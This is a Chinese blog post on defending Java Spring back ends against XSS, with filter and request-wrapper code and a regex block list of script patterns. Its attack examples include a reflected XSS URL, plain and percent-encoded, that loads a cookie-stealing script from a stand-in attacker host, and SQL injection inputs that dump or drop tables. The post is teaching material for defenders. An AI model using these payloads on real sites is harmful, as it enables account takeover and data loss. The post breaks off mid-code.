預防XSS,這幾招管用!
- 2019 年 10 月 5 日
- 筆記
最近重溫了一下「黑客帝國」系列電影,一攻一防甚是精彩,生活中我們可能很少有機會觸及那麼深入的網路安全問題,但工作中請別忽略你身邊的精彩
大家應該都聽過 XSS (Cross-site scripting) 攻擊問題,或多或少會有一些了解,但貌似很少有人將這個問題放在心上。一部分人是存有僥倖心理:「誰會無聊攻擊我們的網站呢?」;另一部分人可能是工作職責所在,很少觸碰這個話題。希望大家看過這篇文章之後能將問題重視起來,並有自己的解決方案, 目前XSS攻擊問題依舊很嚴峻:
Cross-site scripting(XSS)是Web應用程式中常見的一種電腦安全漏洞,XSS 使攻擊者能夠將客戶端腳本注入其他用戶查看的網頁中。攻擊者可能會使用跨站點腳本漏洞繞過訪問控制,例如同源策略。截至2007年,Symantec(賽門鐵克) 在網站上執行的跨站腳本佔據了所有安全漏洞的 84% 左右。2017年,XSS 仍被視為主要威脅載體,XSS 影響的範圍從輕微的麻煩到重大的安全風險,影響範圍的大小,取決於易受攻擊的站點處理數據的敏感性方式以及站點所有者實施對數據處理的安全策略。
XSS 類型的劃分以及其他概念性的東西在此就不做過多說明,Wikipedia Cross-site scripting 說明的非常清晰,本文主要通過舉例讓讀者看到 XSS 攻擊的嚴重性,同時提供相應的解決方案
XSS 案例
不用看 XSS 案例的,請跳過此處,直接去跳到「解決方案」內容 。Bob 和 Alice 兩個人是經常用作案例(三次握手,SSH認證等)說明的,沒錯下面的這些案例也會讓他們再上頭條?
案例一
Alice 經常訪問由 Bob 託管的特定網站, Bob 的網站允許 Alice 使用用戶名/密碼登陸後,存儲敏感數據,例如賬單資訊。當用戶登錄時,瀏覽器會保留一個授權 Cookie,它看起來像一些垃圾字元,這樣兩台電腦(客戶端和伺服器)都有一條她已登錄的記錄。
Mallory 觀察到 Bob 的網站包含一個 XSS 漏洞:
- 當她訪問「搜索」頁面時,她會在搜索框中輸入搜索詞,然後單擊「提交」按鈕。
- 使用普通的搜索查詢,如單詞「puppies」,頁面只顯示「找不到小狗相關內容」,網址為
http://bobssite.org/search?q=puppies
這是完全正常的行為。 - 但是,當她提交異常搜索查詢時,例如
<script type ='application / javascript'> alert('xss'); </ script>
- 出現一個警告框(表示「xss」)。
- 該頁面顯示「未找到」,以及帶有文本「xss」的錯誤消息。
- URL 是
http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script>
, 這是一個可利用的行為
Mallory製作了一個利用此漏洞的URL:
- 她創建了URL
http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js「> </ script>
。 - 她選擇使用百分比編碼 encode ASCII字元,例如
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E
,這樣讀者就無法立即破譯這個惡意 URL - 她給 Bob 網站的一些毫無防備的成員發了一封電子郵件,說「看看這些可愛的小狗!」
Alice 到電子郵件, 她喜歡小狗並點擊鏈接。它進入Bob的網站進行搜索,找不到任何內容,並顯示「找不到小狗」, 但就在這時,腳本標籤運行(Alice 在螢幕上看不到)並載入並運行 Mallory 的程式 authstealer.js(觸發了 XSS攻擊)
authstealer.js 程式在 Alice 的瀏覽器中運行,就像正常訪問 Bob 的網站一樣。但該程式抓取 Alice 的授權 Cookie 副本並將其發送到 Mallory 的伺服器
Mallory 現在將 Alice 的授權 Cookie 放入她的瀏覽器中,然後她去了 Bob 的網站,並以 Alice 身份登錄。
Mallory 假借 Alice 身份進入網站的賬單部分,查找 Alice 的信用卡號碼並抓取副本。然後她去改變她的密碼,這樣過後愛麗絲甚至不能再登錄了。
Mallory 決定更進一步向 Bob 本人發送一個類似的鏈接,從而獲得Bob的網站管理員許可權。
案例二
當向用戶詢問輸入時,通常會發生 SQL 注入,例如用戶名/用戶ID,用戶會為您提供一條 SQL 語句,您將無意中在資料庫上運行該語句。請查看以下示例,該示例通過向選擇字元串添加變數(txtUserId)來創建SELECT語句。該變數是從用戶輸入(getRequestString)獲取的
txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
當用戶輸入 userId = 105 OR 1=1
,這時 SQL 會是這個樣子:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
OR 條件始終為 true,這樣就有可能獲取全部用戶資訊如果用戶輸入 userId = 105; DROP TABLE Suppliers
,這時 SQL 語句會是這樣子
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
這樣 Suppliers 表就被不知情的情況下刪除掉了
通過上面的例子可以看出,XSS 相關問題可大可小,大到泄露用戶數據,使系統崩潰;小到頁面發生各種意想不到的異常。「蒼蠅不叮無縫的蛋」,我們需要拿出解決方案,修復這個裂縫。但解決 XSS 問題需要多種方案的配合使用:
- 前端做表單數據合法性校驗(這是第一層防護,雖然「防君子不防小人」,但必須要有)
- 後端做數據過濾與替換 (總有一些人會通過工具錄入一些非法數據造訪你的伺服器的)
- 持久層數據編碼規範,比如使用 Mybatis,看 Mybatis 中 「$" 和 "#" 千萬不要亂用 了解這些小細節
本文主要提供第 2 種方式的解決方案
解決方案
先不要向下看,思考一下,在整個 HTTP RESTful 請求過程中,如果採用後端服務做請求數據的過濾與替換,你能想到哪些解決方案?
文末關注公眾號,帶你像讀偵探小說一樣趣味學習 Java 技術
Spring AOP
使用 Spring AOP 橫切所有 API 入口,貌似可以很輕鬆的實現,But(英文聽力重點?),RESTful API 設計並不是統一的入參格式,有 GET 請求的 RequestParam 的入參,也有 POST 請求RequestBody的入參,不同的入參很難進行統一處理,所以這並不是很好的方式,關於 RESTful 介面的設計,可以參考 如何設計好的 RESTful API?
HttpMessageConverter
請求的 JSON 數據都要過 HttpMessageConverter 進行轉換,通常我們可以通過添加 MappingJackson2HttpMessageConverter
並重寫 readInternal
方法:
@Override protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException { return super.readInternal(clazz, inputMessage); }
獲取到轉換過後的 Java 對象後對當前對象做處理,但這種方式沒有辦法處理 GET 請求,所以也不是一個很好的方案,想詳細了解 HttpMessageConverter 數據轉換過程可以查看 HttpMessageConverter是如何轉換數據的?
Filter
Servlet Filter 不過多介紹,通過 Filter 可以過濾 HTTP Request,我們可以拿到請求的所有資訊,所以我們可以在這裡大做文章我們有兩種方式自定義我們的 Filter
- 實現
javax.servlet.Filter
介面 - Spring 環境下繼承
org.springframework.web.filter.OncePerRequestFilter
抽象類
這裡採用第二種方式:
@Slf4j public class GlobalSecurityFilter extends OncePerRequestFilter { @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { String userInput = request.getParameter("param"); if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) { throw new RuntimeException(); } String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8"); if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) { throw new RuntimeException(); } filterChain.doFilter(request, response); } }
然後註冊 Filter
@Bean public FilterRegistrationBean filterRegistrationBean() { FilterRegistrationBean registration = new FilterRegistrationBean(); registration.setFilter(globalSecurityFilter()); //URL 過濾 pattern 設置 registration.addUrlPatterns(validatePath + "/*"); registration.setOrder(5); return registration; } @Bean(name = "globalSecurityFilter") public Filter globalSecurityFilter() { return new GlobalSecurityFilter(); }
這種方案貌似可以很簡單粗暴的解決,但會有以下幾個問題:
- 拋出異常,沒有統一 RESTful 消息返回格式,拋出異常後導致流程不可達
- 調用
request.getInputStream()
讀取流,只能讀取一次,調用責任鏈後續 filter 會導致request.getInputStream()
內容為空,即便這是 Filter 責任鏈中的最後一個 filter,程式運行到 HttpMessageConverter 時也會拋出異常。想了解 Filter 責任鏈的調用過程,可以查看 不得不知的責任鏈設計模式 - 看過文章開頭的 XSS 攻擊案例,HtmlUtils.htmlEscape(…) 可替換的內容有限,不夠豐富
我們需要通過 HttpServletRequestWrapper
完成流的多次讀取,當你看到這個名稱 XXXWrapper
,你應該想到這應用了 Java 的設計模式——裝飾模式(這是偵探的基本素養 ?),先來看類圖:
HttpServletRequestWrapper 繼承 ServletRequestWrapper 並實現了 HttpServletRequest 介面,我們只需定義自己的 Wrapper,並重寫裡面的方法即可
@Slf4j public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper { //將讀取的流內容存儲在 body 字元串中 private final String body; //定義Pattern數組,用於正則匹配,可添加其他pattern規則至此 private static Pattern[] patterns = new Pattern[]{ // Script fragments Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE), // src='...' Pattern.compile("src[rn]*=[rn]*\'(.*?)\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), Pattern.compile("src[rn]*=[rn]*\"(.*?)\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // lonely script tags Pattern.compile("</script>",Pattern.CASE_INSENSITIVE), Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // eval(...) Pattern.compile("eval\((.*?)\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // expression(...) Pattern.compile("expression\((.*?)\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // javascript:... Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE), // vbscript:... Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE), //在此添加其他 Pattern,更多 Pattern 內容,可以從文末 demo 處獲取全部程式碼 }; /** *通過構造函數裝飾 HttpServletRequest,同時將流內容存儲在 body 字元串中 */ public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{ super(servletRequest); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = null; try { InputStream inputStream = servletRequest.getInputStream(); if (inputStream != null) { bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); char[] charBuffer = new char[128]; int bytesRead = -1; while ((bytesRead = bufferedReader.read(charBuffer)) > 0) { stringBuilder.append(charBuffer, 0, bytesRead); } } else { stringBuilder.append(""); } } catch (IOException ex) { throw ex; } finally { if (bufferedReader != null) { try { bufferedReader.close(); } catch (IOException ex) { throw ex; } } } //將requestBody內容以字元串形式存儲在變數body中 body = stringBuilder.toString(); log.info("過濾和替換前,requestBody 內容為: 【{}】", body); } /** * 將 body 字元串重新轉換為ServletInputStream, 用於request.inputStream 讀取流 * @return * @throws IOException */ @Override public ServletInputStream getInputStream() throws IOException { String encodedBody = stripXSS(body); log.info("過濾和替換後,requestBody 內容為: 【{}】", encodedBody); final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes()); ServletInputStream servletInputStream = new ServletInputStream() { @Override public int read() throws IOException { return byteArrayInputStream.read(); } @Override public boolean isFinished() { return byteArrayInputStream.available() == 0; } @Override public boolean isReady() { return true; } @Override public void setReadListener(ReadListener readListener) { } }; return servletInputStream; } /** * 調用該方法,可以多次獲取 requestBody 內容 * @return */ public String getBody() { return this.body; } @Override public BufferedReader getReader() throws IOException { return new BufferedReader(new InputStreamReader(this.getInputStream())); } /** * 獲取 request (http://127.0.0.1/test?a=1&b=2) 請求參數,多個參數返回 String[] 數組 * @param parameter * @return */ @Override public String[] getParameterValues(String parameter) { String[] values = super.getParameterValues(parameter); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = stripXSS(values[i]); } return encodedValues; } /** * 獲取單個請求參數 * @param parameter * @return */ @Override public String getParameter(String parameter) { String value = super.getParameter(parameter); return stripXSS(value); } /** * 獲取請求頭資訊 * @param name * @return */ @Override public String getHeader(String name) { String value = super.getHeader(name); return stripXSS(value); } /** * 標準過濾和替換方法 * @param value * @return */ private String stripXSS(String value){ if (value != null) { // 使用 ESAPI 避免 encoded 的程式碼攻擊 value = ESAPI.encoder().canonicalize(value, false, false); value = patternReplace(value); } return value; } /** * 根據 Pattern 替換字元 */ private String patternReplace(String value){ if (StringUtils.isNotBlank(value)){ // 避免null value = value.replaceAll("